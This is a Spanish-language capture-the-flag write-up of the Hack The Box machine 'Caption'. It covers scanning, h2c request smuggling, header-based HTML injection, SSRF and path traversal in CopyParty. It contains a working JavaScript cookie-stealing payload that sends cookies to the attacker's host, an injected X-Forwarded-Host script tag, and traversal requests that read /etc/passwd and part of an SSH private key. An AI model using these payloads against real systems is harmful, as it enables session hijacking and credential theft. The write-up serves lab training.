write up Caption HTB

El sitio web de Caption está protegido mediante un servidor de caché, un proxy y un firewall para aplicaciones web. Planeo aprovecharme de una vulnerabilidad de contrabando de texto plano HTTP/2 (h2c) para acceder a páginas que de otro modo no serían visibles. Además, realizaré una inyección de HTML con el objetivo de robar la cookie de administrador, lo que me permitirá ampliar mi acceso a través del contrabando. A partir de esto, obtendré acceso a una instancia de CopyParty y explotaré una vulnerabilidad de cruce de directorios para leer una clave SSH, lo que me dará control sobre la máquina. Para obtener privilegios más altos, utilizaré una inyección de comandos en un manejador de logs. y por ultimo escalado con thrift

lo primero como siempre el escaneo de nmap

nmap -p- --open --min-rate 5000 -Pn -sT -vvv -n 10.10.11.33 -oG allports

nmap -sVC -p22,80,8080 10.10.11.33 -oN ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 20:51 CET
Nmap scan report for 10.10.11.33
Host is up (0.035s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open  http-proxy
|_http-title: GitBucket
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Sun, 29 Dec 2024 19:51:30 GMT
|     Set-Cookie: JSESSIONID=node0v8ep0w60o9dqhytcyyniiux100294.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5916
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.10.11.33:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sun, 29 Dec 2024 19:51:30 GMT
|     Set-Cookie: JSESSIONID=node01nbvjj902to5m1g9l1cbyj7anp100292.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 8628
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.10.11.33:8080/" />
|     <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20241227192245"
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 29 Dec 2024 19:51:30 GMT
|     Set-Cookie: JSESSIONID=node01g1i4ju3smkc81bwcdxkg0bn0s100293.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=12/29%Time=6771A83B%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\ncontent-leng
SF:th:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x20close\r\
SF:n\r\n")%r(HTTPOptions,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\nc
SF:ontent-length:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\
SF:x20close\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20request
SF:\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\
SF:x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Ba
SF:d\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\
SF:.\n</body></html>\n")%r(X11Probe,CF,"HTTP/1\.1\x20400\x20Bad\x20request
SF:\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\
SF:x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Ba
SF:d\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\
SF:.\n</body></html>\n")%r(FourOhFourRequest,66,"HTTP/1\.1\x20301\x20Moved
SF:\x20Permanently\r\ncontent-length:\x200\r\nlocation:\x20http://caption\
SF:.htb\r\nconnection:\x20close\r\n\r\n")%r(RPCCheck,CF,"HTTP/1\.1\x20400\
SF:x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:\x20no-cach
SF:e\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><b
SF:ody><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20in
SF:valid\x20request\.\n</body></html>\n")%r(DNSVersionBindReqTCP,CF,"HTTP/
SF:1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control
SF::\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n
SF:\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent
SF:\x20an\x20invalid\x20request\.\n</body></html>\n")%r(DNSStatusRequestTC
SF:P,CF,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCa
SF:che-Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20te
SF:xt/html\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20brow
SF:ser\x20sent\x20an\x20invalid\x20request\.\n</body></html>\n")%r(Help,CF
SF:,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-
SF:Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/h
SF:tml\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\
SF:x20sent\x20an\x20invalid\x20request\.\n</body></html>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=12/29%Time=6771A83B%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,22A7,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2029\x20Dec
SF:\x202024\x2019:51:30\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node01nbvjj902
SF:to5m1g9l1cbyj7anp100292\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20T
SF:hu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/ht
SF:ml;charset=utf-8\r\nContent-Length:\x208628\r\n\r\n<!DOCTYPE\x20html>\n
SF:<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x20\x20
SF:<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\
SF:x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initi
SF:al-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<meta\x20
SF:http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\x20\x
SF:20\x20<title>GitBucket</title>\n\x20\x20\x20\x20<meta\x20property=\"og:
SF:title\"\x20content=\"GitBucket\"\x20/>\n\x20\x20\x20\x20<meta\x20proper
SF:ty=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20pr
SF:operty=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/\"\x20/>\n\x2
SF:0\x20\x20\x20\n\x20\x20\x20\x20\x20\x20<meta\x20property=\"og:image\"\x
SF:20content=\"http://10\.10\.11\.33:8080/assets/common/images/gitbucket_o
SF:gp\.png\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"icon\"\x20href=\"/assets/common/images/gitbucket\.png\?202
SF:41227192245\"\x20")%r(HTTPOptions,10E,"HTTP/1\.1\x20200\x20OK\r\nDate:\
SF:x20Sun,\x2029\x20Dec\x202024\x2019:51:30\x20GMT\r\nSet-Cookie:\x20JSESS
SF:IONID=node01g1i4ju3smkc81bwcdxkg0bn0s100293\.node0;\x20Path=/;\x20HttpO
SF:nly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nCont
SF:ent-Type:\x20text/html;charset=utf-8\r\nAllow:\x20GET,HEAD,POST,OPTIONS
SF:\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,B8,"HTTP/1\.1\x20505\x
SF:20HTTP\x20Version\x20Not\x20Supported\r\nContent-Type:\x20text/html;cha
SF:rset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\
SF:n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>
SF:")%r(FourOhFourRequest,1813,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\
SF:x20Sun,\x2029\x20Dec\x202024\x2019:51:30\x20GMT\r\nSet-Cookie:\x20JSESS
SF:IONID=node0v8ep0w60o9dqhytcyyniiux100294\.node0;\x20Path=/;\x20HttpOnly
SF:\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent
SF:-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x205916\r\n\r\n<!D
SF:OCTYPE\x20html>\n<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=
SF:\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20
SF:/>\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=devic
SF:e-width,\x20initial-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20
SF:\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\
SF:x20/>\n\x20\x20\x20\x20<title>Error</title>\n\x20\x20\x20\x20<meta\x20p
SF:roperty=\"og:title\"\x20content=\"Error\"\x20/>\n\x20\x20\x20\x20<meta\
SF:x20property=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<m
SF:eta\x20property=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/nice
SF:%20ports%2C/Tri%6Eity\.txt%2ebak\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x2
SF:0\x20\x20\x20<meta\x20property=\"og:image\"\x20content=\"http://10\.10\
SF:.11\.33:8080/assets/common/images/gitbucket_ogp\.png\"\x20/>\n\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20hre
SF:f=\"/assets/common/images");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.66 seconds

vemos que hay dos web una en el puerto 80 y una en el puerto 8080 vemos tambien un dominio por lo que o añadimos a el etc/hosts

ahora la voy a hacer un caption a las dos paginas webs

no vemos informacion critica por lo que vamos para dentro

en http://caption.htb vemos lo siguiente

no hay mucho en lo que tocar por lo que voy directo a hacer un fuzzing con disearch por ejemplo

dirsearch -u "http://caption.htb" -t 50 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

no sale nada interesante por lo que vamos a ver la del puerto 8080

vemos un gitbucket sin mas vemos un usuario root

si vamos a uno de los git veremos uno llamado update acces contro y si miramos los cambios veremos lo siguiente

una contraseña que si la ponemos en el puesrto 80 ganamos acceso

ahora vemos apartados interesantes en especial uno llamado logs y otro downloas que nos da un 404 este sitio es vulnerable a H2C Smuggling por lo que podriamos usar la siguiente erramienta para efectuarlo de forma mas facil https://github.com/BishopFox/h2csmuggler

que pasa que al ejecutar

 python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 17:53:43 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32797 65537
age: 104
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes
<snip>

[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 17:55:28 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 32798
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

basicamente necesitamos una cookie para ello si capturamos la peticion en firewalls o en home veremos lo siguiente

Al analizar los resultados del Burp Suite, observamos un archivo JavaScript que obtiene recursos dinámicamente de una URL interna, utilizando el parámetro utm_source. Esto presenta una oportunidad para probar una posible manipulación inyectando cabeceras HTTP o cargas útiles para redirigir el JavaScript a una URL de recursos personalizada y ver si podemos anular la URL interna original.

Además, la respuesta incluye una cabecera X-Cache con un valor de MISS, que normalmente genera Varnish para indicar una pérdida de caché (probablemente la primera visita a la página web). La cabecera Cache-Control: public, max-age=120 revela que la caché caduca y se actualiza cada 2 minutos, lo que proporciona un breve margen para probar el comportamiento relacionado con la caché.

por lo que la forma de aprovecharnos de esto es la siguiente

nos ponemos en con un server python con el siguiente exploit para sacar la cookie

(function stealCookies() {
    let xhr = new XMLHttpRequest();
    let cookieData = document.cookie;
    xhr.open("GET", "http://10.10.14.134:8000?cookies=" + encodeURIComponent(cookieData), true);
    xhr.send();
})();

y añadiremos la siguiente cavecera

X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://10.10.14.134:8000/exploit.js"></script> <!--

veremos que se cambia la el link y que nos llega la cookie con la que podemos ver los logs

 python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/logs  -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:25:53 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 169 65552
age: 17
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes


<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">

    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


  <title>Caption Portal Login</title>

    <link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">




<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);


:root{
  --primary-color: #022c22;
  --secondary-color:#f0fdfa;
}

html * {
  font-family: 'Roboto', sans-serif !important;
  cursor:none;
}

body{
  margin:0;
  padding:0;
  height:100vh;
  width:100vw;
  color:var(--secondary-color);
  display:flex;
  justify-content:center;
  align-items:center;
}
.form-container{
  height:550px;
  text-align:center;
  display:flex;
  width:auto;
  align-items:center;
  justify-content:flex-end;
  width: 1200px;
  background-color:var(--primary-color);

    box-shadow:
  0 2.8px 2.2px rgba(0, 0, 0, 0.034),
  0 6.7px 5.3px rgba(0, 0, 0, 0.048),
  0 12.5px 10px rgba(0, 0, 0, 0.06),
  0 22.3px 17.9px rgba(0, 0, 0, 0.072),
  0 41.8px 33.4px rgba(0, 0, 0, 0.086),
  0 100px 80px rgba(0, 0, 0, 0.12);
  transition: all 0.3s;
}
.form-container:hover{
  transform: scale(1.01) perspective(1px);
}


.form-container > form{
  display:flex;
  flex: 1 1 0px;
  width:100%;
  flex-direction:column;
  gap:35px;
  align-items:center;
  justify-content:center;
}
.submit-btn{
  width:35%;
  font-size:medium;
  background-color:transparent;
  color:var(--secondary-color);
  border:none;
  transition:all 0.3s;
}
.submit-btn:hover{
  background-color:var(--secondary-color);
  color:var(--primary-color);
  font-weight:bold;
  outline:none;
  transform: scale(1.08) perspective(1px);

}


img{
  height:100%;
  width:auto;
  flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
  position:relative;
  width:50%;
}

label{
  position: absolute;
  left:-10px;
  top:-15px;
  z-index:1;
  background-color:var(--primary-color);
  padding-right:5%;
}
input{
  background:transparent;
  border:none;
  height:30px;
  outline: white solid;
  font-size:medium;
  color:var(--secondary-color);
  padding-left:3%;
  border-radius:4px;
  transition: all 0.3s;
  width:100%;
}
input:focus{
  outline:green solid;
  transform: scale(1.03) perspective(1px);

}

.mymouse{
  z-index:2;
  position:absolute;
  height:30px;
  width:30px;
  background-color:transparent;
  border-radius:50%;
  outline: black solid;
  transform: translateX(-50%) translateY(-50%);
  pointer-events: none;
  transition: all 100ms ease-out;
}
</style>

  <script>
  window.console = window.console || function(t) {};
</script>

  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <div class="mymouse"></div>
  <div class="form-container">
    <form class="fr" method="POST">
      <h1 class="elem">Caption Portal<br/>Login </h1>
      <div class="fname-container">
        <label for='fname'>UserName</label>
        <input type="text" name="username" class="elem" >
      </div>
      <div class='lname-container'>
        <label for='lname'>Password</label>
        <input type="password"  name="password" class="elem">
      </div>
      <div class='lname-container'>

      </div>
      <input type="submit" value="Login" class="submit-btn elem">

    </form>
    <img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
  </div>


      <script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
  cursor.style.left = e.clientX + "px";
  cursor.style.top = e.clientY + "px";
});

/*change mouse color*/

var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
  cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
  cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
    </script>


</body>

</html>



[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:26:10 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 170
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes


<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">

<head>
  <meta charset="UTF-8">

    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


  <title>Caption Networks Home</title>

    <link rel="canonical" href="https://codepen.io/ferrazjaa/pen/abPQywb">
  <script>
  window.console = window.console || function(t) {};
</script>



   <title>Viajar é Preciso</title>
  <!-- LINKS BOOTSTRAP -->
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">

  <!-- ICONES -->
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
</head>

<body>


  <!-- nav bar -->
  <nav class="navbar navbar-expand-lg bg-body-tertiary p-4">
    <div class="container">
      <!-- o usuário escolher o modo dark ou light -->
      <button class="btn btn-secondary me-4" id="alterarTemaSite" onclick="alterarTemaSite()"><i
          class="bi bi-brightness-high-fill"></i>
      </button>

      <!-- Logo -->
      <a class="navbar-brand text-success" href="#"><strong>Caption Networks <i class="bi bi-globe"></i></strong></a>
      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent"
        aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>

      <!-- MENU -->
      <div class="collapse navbar-collapse" id="navbarSupportedContent">
        <ul class="navbar-nav me-auto mb-2 mb-lg-0">
          <li class="nav-item">
            <a class="nav-link active" aria-current="page" href="/home">Home</a>
          </li>
          <li class="nav-item">
            <a class="nav-link" href="/firewalls">Firewalls</a>
          </li>
          <li class="nav-item dropdown">
            <a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
              Routers
            </a>
            <ul class="dropdown-menu">
              <li><a class="dropdown-item" href="#">Staging Networks</a></li>
              <li><a class="dropdown-item" href="#">UAT Networks</a></li>
            </ul>
          <li><a class="nav-link" aria-current="page" href="/logs">Logs</a>
          </li>

        </ul>
        <div class="d-flex">
          <a href="/logout" class="btn btn-success">Logout</a>
        </div>
      </div>
    </div>
  </nav>


  <header class="container my-4">
    <div class="row">
      <!-- vai ocupar todo o espaço se a tela for pequena -->
      <!-- col-lg-6 para telas grandes -->

        <center><h1>Log Management</h1></center>
        <br/><br/><center>
        <ul>
            <li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
        </ul></center>
      </div>
    </div>
  </header>


  <!-- BOOTSTRAP JS -->
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
    integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
    crossorigin="anonymous"></script>


      <script id="rendered-js" >
// altera tem site
function alterarTemaSite() {
  let tema = document.querySelector("html").getAttribute("data-bs-theme");
  if (tema === "dark") {
    document.querySelector("html").setAttribute("data-bs-theme", "light");
    document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-moon-fill"></i>`;
  } else {
    document.querySelector("html").setAttribute("data-bs-theme", "dark");
    document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-brightness-high-fill""></i>`;
  }

}
//# sourceURL=pen.js
    </script>


</body>

</html>

vemos ace ping a un puerto que es el 3923 el cual nosotros no vimos en nmap porque es local con el directorio downloads tenemos un parametro url al cual podemos apuntar por lo quevamos a probar

python3 h2csmuggler.py -x 'http://caption.htb' http://caption.htb/download\?url\=http://127.0.0.1:3923/ -X "GET" -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NjQ4ODgyfQ.j6wdhmR1Ed3hZVUbIwTcsS4__9wFeUio4F30_d23zw8 " 

[INFO] h2c stream established successfully. :status: 200 server: Werkzeug/3.0.1 Python/3.10.12 date: Thu, 23 Jan 2025 15:59:00 GMT content-type: text/html; charset=utf-8 content-length: 4316 x-varnish: 98441 age: 0 via: 1.1 varnish (Varnish/6.6) x-cache: MISS accept-ranges: bytes 

document.documentElement.className = localStorage.theme || dtheme; 	</script> 	<script src="/.cpr/util.js?_=kVPa"></script> 	<script src="/.cpr/baguettebox.js?_=kVPa"></script> 	<script src="/.cpr/browser.js?_=kVPa"></script> 	<script src="/.cpr/up2k.js?_=kVPa"></script> </body>  </html> 

vemos cosas intereantes principalmente el .cpr que pasa si apunto al etc/passwd?

python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/download?url=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd   -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:43:40 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32927
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

<snip>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
haproxy:x:114:120::/var/lib/haproxy:/usr/sbin/nologin
varnish:x:115:121::/nonexistent:/usr/sbin/nologin
vcache:x:116:121::/nonexistent:/usr/sbin/nologin
varnishlog:x:117:121::/nonexistent:/usr/sbin/nologin
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

pues que lo vemos por lo que ahora es cuestion de ver si sacamos el id_rsa de margo

python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/download?url=http://127.0.0.1:3923/.cpr//%252Fhome%252Fmargo%252F.ssh%252Fid_rsa  -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:43:40 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32927
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes



-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
